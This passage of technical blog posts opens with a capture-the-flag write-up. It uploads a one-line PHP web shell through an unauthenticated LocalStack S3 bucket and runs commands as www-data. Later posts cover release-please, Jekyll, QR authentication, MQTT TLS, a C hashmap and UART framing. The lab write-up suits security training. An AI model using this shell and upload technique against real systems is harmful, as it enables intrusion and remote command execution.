That’s the box. The part worth writing about is that my ffuf vhost profile missed the hit, and subdomains-top1million-20000.txt had s3 sitting on line 247.

The setup

nmap top-1000 returns 22/ssh and 80/http. The web root is a band landing page for “The Toppers,” generated by /index.php. ffuf against raft-medium-directories.txt finds nothing interesting.

The footer of the landing page has a mail address:

mail@thetoppers.htb

That’s the pivot. Without that string the box has nothing visible to chew on; there’s no hidden subdomain to guess at, only one the page itself names.

The Starting Point task pane is also handing out the shape of the answer:

Which sub-domain is discovered during further enumeration?
> **.*********.***

Two characters, then thetoppers.htb. The search space collapses to roughly the 2-letter row of any common subdomain list, which makes ffuf’s failure later look worse, not better.

ffuf says no

I dropped thetoppers.htb into /etc/hosts, ran my vhost profile against subdomains-top1million-20000.txt, filtered by size against the default-site baseline of 11952 bytes.

Empty CSV.

I abandoned the tool and threw the obvious shortlist at it by hand:

for sub in s3 dev www admin mail api; do
  size=$(curl -s -H "Host: $sub.thetoppers.htb" http://<box-ip>/ | wc -c)
  echo "$sub.thetoppers.htb -> $size bytes"
done

s3.thetoppers.htb -> 21 bytes
dev.thetoppers.htb -> 11952 bytes
www.thetoppers.htb -> 11952 bytes
admin.thetoppers.htb -> 11952 bytes
mail.thetoppers.htb -> 11952 bytes
api.thetoppers.htb -> 11952 bytes

Most don’t match the 2-char mask. I threw the longer ones in out of habit. 21 bytes is {"status": "running"} plus a newline. Different host, different service.

Going back to ask whether ffuf had had a fair chance:

$ grep -nx s3 subdomains-top1million-20000.txt
247:s3

Line 247. I’ll come back to that.

The 21-byte service

$ curl -sI -H "Host: s3.thetoppers.htb" http://<box-ip>/
HTTP/1.1 200 OK
Server: hypercorn-h11
Access-Control-Allow-Headers: ...,x-localstack-target,...
Access-Control-Allow-Methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH

Two tells. hypercorn-h11 is the Python ASGI server LocalStack runs on. x-localstack-target in the CORS allowlist is the giveaway you don’t need to look up; nothing else uses that header. The full S3 verb set on Access-Control-Allow-Methods is the bonus hint.

LocalStack is an AWS service emulator built for local dev. It does not authenticate anything. Point the AWS CLI at it with any dummy creds and it works:

$ aws configure  # any access key, any secret, region us-east-1
$ aws --endpoint-url http://s3.thetoppers.htb s3 ls
2026-05-27 15:37:47 thetoppers.htb

One bucket. Name matches the vhost. That’s the design clue: a bucket named after the site almost certainly backs the document root.

The exploit, such as it is

$ echo '<?php system($_GET["c"]); ?>' > shell.php
$ aws --endpoint-url http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb/shell.php
$ curl 'http://thetoppers.htb/shell.php?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl 'http://thetoppers.htb/shell.php?c=cat+/var/www/flag.txt'

Flag captured. There’s no root flag on this one.

(The box is called three. The exploit is S3. I missed that until I sat down to write this up.)

What this box teaches

Any response header is a fingerprint. Access-Control-Allow-Headers in particular tends to name vendor-specific extension headers that ID the service without needing a tool. If I’d been less sleepy I would have skipped the AWS-CLI dance and grepped the CORS allowlist for localstack.

As for the ffuf wrapper: I have no good story for why it missed. The size filter should have flagged anything that wasn’t the 11952-byte default. My best guess is the status-code allowlist in my wrapper (200,301,302,401,403); the actual response code is probably something I didn’t include. The clean fix is -mc all -fs 11952 instead of an explicit status list. I haven’t sat down with the profile yet to confirm.

I’ll fix it before the next box. Probably.

Three traps in a row. All silent — green checks, empty results. The diffs that fixed each are small.

Trap 1: bootstrap-sha that points at a recent commit

The first config tried to use bootstrap-sha to ignore pre-adoption history:

{
  "bootstrap-sha": "550fecc5e848d33dabfb0f680fe9c6d5e57d53c1",
  "packages": {
    ".": { "release-type": "python" }
  }
}

bootstrap-sha tells release-please: “for the initial release PR, treat commits since this SHA as the release scope.” Sensible if your repo has years of history and you only want to release from now on.

The trap: if bootstrap-sha is set on every run rather than just the bootstrap, release-please uses it as a hard floor forever. On later runs, if your last tag is past the bootstrap-sha (which it is, since you’ve now released), the bot sees no new commits worth releasing and silently does nothing. No error, no warning. Just a happy “ran successfully” green check and an empty Actions tab.

Fix: delete the line. release-please uses the last tag as the lower bound after the initial release.

 {
-  "bootstrap-sha": "550fecc...",
   "packages": { ".": { "release-type": "python" } }
 }

Release PR appeared on the next push.

Trap 2: package-name on a single-package repo

The release PR opened, but the branch was named release-please--branches--main--components--<name>--, with the trailing component segment. Merging produced no tag.

The config had:

{
  "packages": {
    ".": {
      "release-type": "python",
      "package-name": "<name>",
      "include-component-in-tag": false
    }
  }
}

package-name is the package’s published name. release-please uses it as the component in branch names, tag templates, and changelog headings — built for monorepos where multiple packages release independently.

On a single-package repo, the component-in-branch convention doesn’t match the standalone tag scheme. include-component-in-tag: false prevents the tag from getting the prefix, but the branch name still carries the component, and release-please’s reconciliation expects a branch without the component when component-in-tag is off.

Result: the bot opened a PR, merged it, then couldn’t find its own release artifact to tag against. Silent again.

Fix: drop package-name. release-please uses the directory key (.) as the implicit component with no suffix.

 "packages": {
   ".": {
     "release-type": "python",
-    "package-name": "<name>",
     "include-component-in-tag": false
   }
 }

The tag cut on the next merged release PR.

Trap 3: GITHUB_TOKEN releases don’t fire release.published

Tag cut, release object created on GitHub, downstream publish workflow still didn’t run.

The publish workflow was wired to GitHub’s recommended trigger:

on:
  release:
    types: [published]

This is a documented GitHub quirk: a workflow run authenticated with GITHUB_TOKEN cannot trigger another workflow run. It’s a loop-prevention guard, and release-please-action uses GITHUB_TOKEN by default. The release object lands, the release.published event fires, but no workflow picks it up.

The official advice is “use a Personal Access Token instead.” Works, but introduces a PAT to rotate and a security boundary I’d rather not maintain for one workflow.

The fix that doesn’t need a PAT: chain the workflows explicitly via workflow_call in the same job graph.

jobs:
  release-please:
    runs-on: ubuntu-latest
    outputs:
      release_created: ${{ steps.rp.outputs.release_created }}
      tag_name: ${{ steps.rp.outputs.tag_name }}
    steps:
      - uses: googleapis/release-please-action@v4
        id: rp

  publish:
    needs: release-please
    if: ${{ needs.release-please.outputs.release_created == 'true' }}
    uses: ./.github/workflows/publish-schemas.yml
    with:
      tag: ${{ needs.release-please.outputs.tag_name }}
    secrets: inherit

The downstream workflow becomes workflow_call-capable:

on:
  workflow_call:
    inputs:
      tag:
        required: true
        type: string

Same file, same secrets, no PAT. release-please runs, publish runs as its dependent in the same job graph, the cross-workflow trigger restriction never applies because there isn’t one to trigger.

All three failures were silent. The action exited green, the release PR looked right, the tag appeared — and yet the next thing didn’t happen. The failure mode for an automation tool is rarely “throws”; it’s “succeeds but doesn’t do the thing.”

Worth adding a five-second smoke check after each automation step: did the artifact you expected actually land? For release-please, that’s “did the publish workflow run show up in the Actions tab for the right tag?” For a tag cut, it’s git fetch && git tag --list locally. Both would have caught all three of these before the next push pinned the wrong assumption.

/opt/homebrew/lib/ruby/gems/4.0.0/gems/jekyll-3.9.0/lib/jekyll.rb:28:
  warning: csv used to be loaded from the standard library, but is
  not part of the default gems since Ruby 3.4.0.
cannot load such file -- csv (LoadError)

Add gem "csv" to the Gemfile, re-bundle, run again:

Liquid Exception: undefined method 'tainted?' for an instance of
  String in /_layouts/post.html

Liquid 4.0.3 calling obj.tainted? on a string. Ruby 4 removed String#tainted? (deprecated 2.7, removed 3.2). The Liquid version pinned by the github-pages gem was from 2022 and never picked up the fix.

The recipe says “just use github-pages” and there’s no version knob. The gem locks Jekyll 3.9, Liquid 4.0.3, and a stack of plugins to whatever GitHub’s hosted builder runs. If your local Ruby is newer than that stack, you get bit-rot like this.

What “github-pages” actually is

It’s not Jekyll. It’s a gem that vendors a specific snapshot of Jekyll

• plugins, so the local build matches what GitHub’s hosted builder will produce. The whole point is reproducibility against an old server.

The cost: you can’t upgrade Jekyll independently. When Ruby moves forward and the pinned Liquid breaks, you’re stuck.

The fix is to stop using the gem

GitHub Pages can deploy from a GitHub Actions workflow instead of its built-in builder. That lets you pick your own Jekyll version.

.github/workflows/pages.yml:

name: Build and deploy Jekyll

on:
  push:
    branches: [main]
  workflow_dispatch:

permissions:
  contents: read
  pages: write
  id-token: write

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: ruby/setup-ruby@v1
        with:
          ruby-version: "3.3"
          bundler-cache: true
      - uses: actions/configure-pages@v5
      - run: bundle exec jekyll build
        env: { JEKYLL_ENV: production }
      - uses: actions/upload-pages-artifact@v3
        with: { path: _site }

  deploy:
    needs: build
    runs-on: ubuntu-latest
    environment:
      name: github-pages
      url: $
    steps:
      - id: deployment
        uses: actions/deploy-pages@v4

Then a Gemfile that drops the gem and asks for Jekyll directly:

source "https://rubygems.org"

gem "jekyll", "~> 4.3"
gem "kramdown-parser-gfm"

group :jekyll_plugins do
  gem "jekyll-feed"
  gem "jekyll-seo-tag"
  gem "jekyll-sitemap"
end

# Ruby 3.4+ moved these out of default gems
gem "csv"
gem "base64"
gem "bigdecimal"
gem "logger"
gem "ostruct"
gem "webrick"

One repo setting to flip: Settings → Pages → Source: GitHub Actions (not “Deploy from branch”). Otherwise the hosted builder ignores the workflow and rebuilds with the old Jekyll.

The build runs in CI in 30 seconds now. Local preview still uses my homebrew Ruby 4, and Jekyll 4 doesn’t mind it because Liquid 5 long since gave up on tainted?. The github-pages gem exists to keep the local build in sync with GitHub’s hosted builder — the moment you’ve taken over the builder, it stops earning its keep.

The smaller QR is a side effect. The actual fix was realizing the sticker was in the wrong place to authenticate anything.

What the sticker started as

The original sticker payload was the European Digital COVID Certificate recipe scaled down: a CBOR-encoded claim with the device UUID, the OOB key, a JTI for replay protection, and an expiry. Signed by a factory Ed25519 key, then base45-encoded so it could go through a QR scanner without binary mode.

COSE_Sign1(claim) → base45 → ~190-char QR string

It worked. The backend held the public half of the factory key and verified the signature on adoption. Forging a sticker required gaining write access to the offline factory key — strong property.

Two problems:

• A v17 QR on a 25 mm round sticker is a dense code. A phone camera in mediocre dock lighting needs three tries.
• I was about to start managing a factory key. For a school project. Generation script, secure storage, distribution between team members, rotation when one of us inevitably committed it.

The realization

The adoption flow does two things: it identifies which device this is, and it authenticates that the device is genuine. I’d put both jobs on the sticker.

A signed sticker is a credible identity proof, but it’s not authentication of the board. The board doesn’t sign the claim; the factory does. A photograph of the sticker is just as valid as the original. The signature only proves “this row was issued by us at some point” — not “the radio you’re talking to right now is the one the sticker belongs to.”

Board authentication actually happens later, inside the BLE Mesh PB-ADV handshake, using a static OOB key burned into the device’s factory_nvs partition at flash time. That OOB is the value an attacker can’t recover from a sticker photo.

So the sticker doesn’t need to be unforgeable. It needs to be a lookup key — like a HomeKit or Matter setup code: a name plus a nonce.

Dropping the signature

sticker = serial + ":" + jti

The backend stores serial → {uuid, oob, jti, exp}. Adoption is:

1. Scan sticker. Get serial:jti.
2. Look up row by serial.
3. Check jti matches, exp is in the future. (Replay protection.)
4. Run PB-ADV with the OOB. The board cryptographically proves it has the key.

A forged sticker fails at step 3 because the JTI won’t match. Photographing a real sticker and trying to adopt against a different board fails at step 4 because the impostor board doesn’t have the OOB.

The signature would have proved step 1 came from us. PB-ADV proves step 4 came from the right board. Step 4 is the harder property and the one that matters. Step 1 was theatre.

This dropped 53 lines from factory-flash.py, deleted factory-keygen.sh entirely, and removed the cbor2 and base45 dependencies.

Shrinking the QR further

Going from a signed blob to SERIAL:UUID cut the payload roughly in half, but the QR was still bigger than I wanted because uuid4() returns lowercase hex.

QR codes have four encoding modes. Numeric, alphanumeric, byte, and Kanji. Alphanumeric is roughly 5.5 bits/char versus byte mode’s 8 bits/char — a 30% size advantage — but its character set is only 0-9, A-Z, space, and $%*+-./:. Lowercase letters aren’t in the set. A lowercase UUID forces byte mode.

-jti = str(_uuid.uuid4())
+jti = secrets.token_hex(8).upper()

secrets.token_hex(8) gives 16 hex chars; .upper() puts them in the alphanumeric set. 64-bit collision probability hits 50% around 2^32 stickers — past anything DockPulse will ship. The serial format was already uppercase (DP-N-000123), so the full payload encodes cleanly in alphanumeric mode:

DP-N-000123:7F3A9C2B1E4D5F60

29 characters, alphanumeric mode, version 3 QR at ECC level L. Scans first try even in dock lighting.

Where the security ended up

Nothing got weaker. The auth boundary moved from “operator scans a signed sticker” to “operator scans a lookup key, board proves itself at PB-ADV.” The cryptographic property that actually matters — that a stranger can’t pretend to be your sensor — is unchanged. What I removed was security theatre I’d built around the wrong boundary.

I keep thinking about how much code that misplacement cost: a CBOR library, a base45 library, an Ed25519 keypair, a key-management script, 53 lines of signing code, and 14 QR versions of sticker real estate. All to protect a value the backend was about to look up anyway.

The setup I landed on:

• Service CA — backend services and dev publishers. Long-lived certs, 825 days.
• Device CA — per-gateway and per-sensor certs. Short-lived, 90 days.
• mosquitto trusts the bundle (cat service-ca/ca.crt device-ca/ca.crt > ca-bundle.crt).
• No CRL, no OCSP stapling, no revocation infrastructure.

The interesting decision is the last one.

Two parallel CAs, not one

The naive setup is one CA that signs everything. Works, but tangles two very different fleets:

• Services are stable. Backend pods, dev publishers, the occasional load-test client. They get rotated when someone remembers to, which is rarely. Long-lived certs are fine because the operator (me) holds the broker config and can update CN-to-identity mappings when a cert reissues.
• Devices are unstable. Sensors fall in the water. Gateways get flashed by the wrong person. The keys live on ESP32 flash, not an HSM, so any device cert is one bad reflow away from compromise.

Different threat profile, different rotation cadence. Two parallel CAs let me tune lifetimes independently and assign blame: a leaked service key is an operator problem, a leaked device key is a fleet problem. mosquitto doesn’t care which CA signed a leaf — with require_certificate true and a CA bundle file, it trusts both:

cafile /mosquitto/certs/ca-bundle.crt
require_certificate true
use_identity_as_username true
tls_version tlsv1.2

use_identity_as_username true is what makes the CN matter — the cert’s CN becomes the MQTT username for ACL purposes.

90-day device certs as poor-man’s revocation

The honest reason for short-lived device certs: I didn’t want to operate a CRL.

A proper revocation story for a small fleet looks like:

1. Run a CRL distribution point.
2. Configure every broker to fetch and refresh the CRL.
3. When a device is compromised, add its serial to the CRL.
4. Wait for every broker to refresh.
5. Hope no client is caching a stale CRL.

For a school project with under twenty devices, that’s a lot of infrastructure. The web has dealt with the same problem by switching to short certs and assuming clients will just wait for expiry. Let’s Encrypt issues 90 days; the same window happens to match what Apple App Transport Security recommends.

So device certs get 90 days, and “revocation” means “stop trusting this CN at the ACL level until the cert expires.” Worst case: 90 days of a bad key being valid. Acceptable when the broker isn’t routable from the public internet.

In tools/gen_certs.sh:

DAYS_LEAF=825      # service clients
DAYS_DEVICE=90     # devices; matches LE cadence so we never need a CRL

The device <node-id> subcommand rotates by default — running it on the same id deletes the prior cert and issues a fresh one. ESP-IDF embeds the cert and key into the firmware image at compile time:

target_add_binary_data(${COMPONENT_LIB} "${_dp_cert}" TEXT)
target_add_binary_data(${COMPONENT_LIB} "${_dp_key}"  TEXT)

Rotation = reissue + reflash. Same node-id, new cert. The broker recognizes the CN, the ACL still binds.

The ACL hole I left

The ACL uses %u (the username, which is the cert CN) to bind topics to the connected client:

pattern read   dockpulse/v1/gw/%u/provision/req
pattern write  dockpulse/v1/gw/%u/provision/resp

A gateway with CN gw-001 can only read its own /provision/req and write its own /provision/resp. Clean isolation between gateways at the broker level.

What I couldn’t bind that way: berth telemetry. The topic shape is

harbor/{harbor_id}/{dock_id}/{berth_id}/status

no publisher id segment. The contract was set before I touched the broker config, and changing it would have rippled across the backend, the iOS prototype, and the visualization frontend.

So the ACL on telemetry is loose:

# Any device-CA client can publish; backend validates node_id in
# the payload.
pattern write  harbor/+/+/+/status
pattern write  harbor/+/+/+/heartbeat

A compromised device can publish telemetry as if it were any other berth. The backend cross-checks node_id in the JSON against the adoption table, so a fraudulent publish gets dropped — but at the broker level there’s nothing stopping it.

The honest cost of inheriting a topic schema. If I’d designed the contract from scratch every topic would include the publisher id segment. As built, the broker is a soft boundary and the backend is the hard one.

When this isn’t enough

Two-CA-plus-short-device-certs holds up for a small private fleet. What I’d add if the project grew:

• An actual CA hierarchy: offline root, online intermediate. Currently both CAs are self-signed roots — fine for trust but the root keys live on the same machine that signs leaves.
• A CRL distribution point or OCSP stapling, so revocation doesn’t depend on someone reflashing a device.
• A topic schema with the publisher id baked in. The current ACL hole on telemetry is the single thing I’d push back on if I were starting over.

None of which I needed for twenty sensors and a graded deadline.

What I wanted from the public API was something terser than a struct. Callers shouldn’t have to keep two pointers (map and entries) threaded everywhere — they should have one opaque handle. So the public type in lwhttp is just Entry *:

int   hm_set(Entry **entries, char *key, char *value);
char *hm_get(Entry *entries, char *key);
int   hm_delete(Entry *entries, char *key);
void  hm_destroy(Entry *entries);

No Map struct. One pointer to the entries array. So where does the capacity live?

At entries[-1]

The trick: allocate a Header struct immediately before the entries array in the same malloc call, and return a pointer to the entries. The caller never sees the header. The implementation walks one slot backwards to find it.

typedef struct {
    size_t count;
    size_t capacity;
} Header;

static Entry *hm_alloc(size_t capacity) {
    Header *header = calloc(1, sizeof(Header) + sizeof(Entry) * capacity);
    if (!header) return NULL;
    header->capacity = capacity;
    return (Entry *)(header + 1);   // hand out the entries pointer
}

static Header *hm_header(Entry *entries) {
    return (Header *)entries - 1;
}

(Header *)entries - 1 is the pointer arithmetic that recovers the header: cast the entries pointer to Header *, then back up by one Header. That’s exactly where hm_alloc placed it.

When the map needs to grow, realloc won’t work directly because the caller holds the entries pointer and we’d need to update it through the double pointer:

int hm_set(Entry **entries, char *key, char *value) {
    ...
    if (header->count * 4 >= header->capacity * 3) {
        if (hm_resize(entries) == -1) return -1;
        header = hm_header(*entries);  // re-fetch after resize
    }
    ...
}

hm_set takes Entry ** so it can swap the pointer on resize; the other functions take Entry * because they don’t move the array.

Why bother

For a struct-based map, the caller writes:

Map *map = map_new();
map_set(map, "Content-Type", "application/json");
char *t = map_get(map, "Content-Type");

For this one:

Entry *headers = NULL;
hm_set(&headers, "Content-Type", "application/json");
char *t = hm_get(headers, "Content-Type");

The handle has the same arity, but the type is the entries — there’s no opaque wrapper. For a library where the map is conceptually a header table, that reads cleaner: request->headers is Entry *, and you pass it around as-is.

The cost is the resize ergonomics — hm_set needs the double pointer. You eat that once in the call site.

Tombstones, not free-on-delete

Open-addressing maps with linear probing can’t just mark a slot EMPTY on delete, because the probe chain would terminate early when searching for a key that lived past the deleted slot. The fix is a third state, DELETED, that lookups skip and inserts can overwrite:

enum slot_state { EMPTY, OCCUPIED, DELETED };

hm_get stops at EMPTY but continues past DELETED. hm_set reuses the first DELETED slot it sees on the probe chain, but only after it’s confirmed the key isn’t already present further down. That confirm step is the trap: if you write to the tombstone too eagerly, you can end up with two entries for the same key.

The probe loop in hm_set handles it like this:

for (size_t i = 0; i < header->capacity; i++) {
    Entry *e = &(*entries)[idx];
    if (e->state == EMPTY) {
        if (first_insertable == (size_t)-1) first_insertable = idx;
        break;  // chain ends here, key definitely absent
    }
    if (e->state == DELETED) {
        if (first_insertable == (size_t)-1) first_insertable = idx;
    } else if (strcasecmp(e->key, key) == 0) {
        // overwrite existing
    }
    idx = (idx + 1) & (header->capacity - 1);
}

Track the first usable slot, keep probing past it until either the key shows up or the chain ends. Only then commit the write.

Hash and load factor

FNV-1a over the lowercased key, mask with (capacity - 1) because capacity is always a power of two. Resize at 3/4 full. Nothing exotic:

static uint64_t hm_hash(const char *key) {
    uint64_t hash = 0xcbf29ce484222325ULL;
    for (const char *p = key; *p; p++) {
        hash ^= (uint8_t)tolower(*p);
        hash *= 0x100000001b3ULL;
    }
    return hash;
}

The lowercase happens during hashing so two-spellings of the same header always hash to the same bucket. Collision check still uses strcasecmp because the keys are stored in whatever case the caller inserted with — I didn’t want to lose the original capitalization when iterating.

When this is the wrong choice

The header-behind-entries trick is fun, but for a general-purpose hashmap I wouldn’t reach for it. Reasons:

• The handle’s type leaks the implementation (Entry * says “open addressing”). A struct-based handle keeps the layout private.
• Generic key/value types are easier behind a struct.
• Debugging is slightly worse because gdb won’t auto-pretty-print the header sitting at a negative offset.

For HTTP headers specifically — small map, fixed key/value types, caller already thinks of “the headers” as a unit — it fits.

The framer’s job is small: walk the UART RX ring, find SYNC, read the length, read that many bytes, check CRC16-CCITT, deliver. The first version had no timeout. The first version also locked up the receiver the first time anything went wrong on the wire.

What broke

When a single bit flipped inside the SYNC pattern, the framer half-matched: it saw one 0xAA, the next byte didn’t match, so it restarted the search from the byte after the failed match. So far so good. But when the next 0xAA arrived followed by garbage that happened to look like a plausible length (say 0x07), the framer committed: now it was waiting for seven bytes that were never coming, because the real next frame was somewhere downstream.

No external signal said “this frame is dead.” The state machine just sat there, indefinitely, with the RX ring filling up behind it.

The fix is the usual one

A per-frame timeout. About one second, conservatively. Long enough that a slow sender on a busy link doesn’t get dropped, short enough that a single dropped byte doesn’t deadlock the receiver for the entire run.

// in the framer, between byte reads
if (now_ms() - frame_start_ms > FRAME_TIMEOUT_MS) {
    state = LOOKING_FOR_SYNC;
}

Once that landed, the framer recovered from any single corruption within one timeout window. Cheap.

Stuffing, and the bytes I forgot to stuff

Two reserved bytes:

0xAA → 0xAB 0x00
0xAB → 0xAB 0x01

0xAA is the SYNC marker, 0xAB is the escape. Any payload byte that would otherwise look like one of those gets expanded. The parser unstuffs on the fly while it walks the frame.

What I almost shipped: stuffing only the message bytes, not the CRC. The CRC is computed over USER_ID + MESSAGE, then appended as two bytes. If those two bytes happened to contain 0xAA — and CRC bytes are uniformly distributed, so this happens about 1 in 128 frames — the SYNC marker would appear in the middle of the frame, and the next frame’s parse would start in the wrong place.

CRC bytes go through the stuffer too. Obvious in retrospect, missed it the first time.

RX is interrupt-driven, framer isn’t

The bit-banged UART has no hardware support, so RX is interrupt-driven: a falling edge on the RX pin fires the ISR, the ISR samples mid-bit at 1/baud + 0.5/baud intervals, and the assembled byte goes into a ring buffer. The main loop drains the ring into the framer.

The thing that surprised me: with the ISR handling per-bit sampling, the framer itself can be as slow as it wants. The hard real-time constraint lives entirely inside the ISR, where missing a sample by a few microseconds gives you a wrong byte. Everything downstream of the ring buffer is soft real-time and that simplified the whole design.

What I’d change next time

If I do framing over a less polite physical layer:

• Use a longer SYNC. Two bytes is enough on a clean cable. On a shared or noisy line, four is cheap insurance.
• Stuff the length byte too. Currently LEN is the count of unstuffed bytes, which is what the application wants, but means the framer reads “post-stuffing length minus stuffing escapes” — easy to misread.
• Add a sequence number. Without one, a retransmit is indistinguishable from a deliberate duplicate.

The chat runs over a clean UART so none of those matter today. They’re notes for the next physical layer that isn’t polite.